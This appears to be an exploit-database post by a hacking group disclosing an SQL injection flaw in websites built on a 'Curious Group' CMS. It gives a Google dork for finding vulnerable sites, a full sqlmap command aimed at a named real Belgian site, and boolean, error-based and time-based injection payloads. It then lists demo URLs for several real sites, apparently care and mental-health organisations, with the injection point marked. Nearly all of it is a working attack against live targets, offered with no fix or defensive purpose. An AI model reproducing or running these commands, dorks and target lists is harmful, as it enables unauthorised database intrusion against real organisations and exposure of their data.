################################################################################# # Exploit Title: Curious Group Sql İnjection Vulnerability # Author : TrazeR & Sipahiler & TurkZ.org # Google Dork : powered by Curious Group inurl:nieuws # Tested on : Kali Linux 2018.1 # Date : 12.02.2018 # Vendor Home: N/A # Blog : http://www.trazer.org/ # Forum : http://www.turkz.org/Forum/ # Telegram: https://t.me/turkzgrup ################################################################################# Tutorial : [+] Dorking İn Google Or Other Search Enggine [+] Sqlmap Or Manuel [+] Sql GET Parameter "nieuws" İs Vulnerable [+] The Back-End DBMS is MySQL Command:root@TrazeR:~# sqlmap --random-agent --timeout=10 --time-sec=2 --threads=10 --hex --level=5 --risk=3 -u "https://www.popovggz.be/?action=nieuws_detail&nieuws=737&titel=Vacature+projectmedewerker+minderjarigen+Cli%C3%ABntenbureau+Oost-Vlaanderen&thema=" --dbs --batch -p nieuws Parameter: nieuws (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=nieuws_detail&nieuws=737 AND 7733=7733&titel=Vacature projectmedewerker minderjarigen Cli%C3%ABntenbureau Oost-Vlaanderen&thema= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: action=nieuws_detail&nieuws=737 AND (SELECT 5927 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(5927=5927,1))),0x7176767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&titel=Vacature projectmedewerker minderjarigen Cli%C3%ABntenbureau Oost-Vlaanderen&thema= Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: action=nieuws_detail&nieuws=737 AND SLEEP(2)&titel=Vacature projectmedewerker minderjarigen Cli%C3%ABntenbureau Oost-Vlaanderen&thema= Demo Sql: https://www.popovggz.be/?action=nieuws_detail&nieuws=[SQL]737&titel=Vacature+projectmedewerker+minderjarigen+Cli%C3%ABntenbureau+Oost-Vlaanderen&thema= https://www.vlabo.be/?action=nieuws_detail&nieuws=[SQL]252&titel=Nieuwe+projectmedewerker+Ouderen+%28Vlabo%29&thema= http://www.oggpa.be/index.php?action=nieuws_detail&nieuws=[SQL]587&titel=Nieuws+vanuit+Herstelacademie+Antwerpen%21&thema= https://www.vdip.be/?action=nieuws_detail&nieuws=[SQL]41&titel=algemeen+telefoonnummer+voor+de+Zelfdodingslijn+en+Teleonthaal&thema= Greet'Zzz : ABIKANBEY & EfendiBey & Atabey & TrazeR & Zer0day & Göcebe & Kutluhan & BlueTrojen & Ak_Bey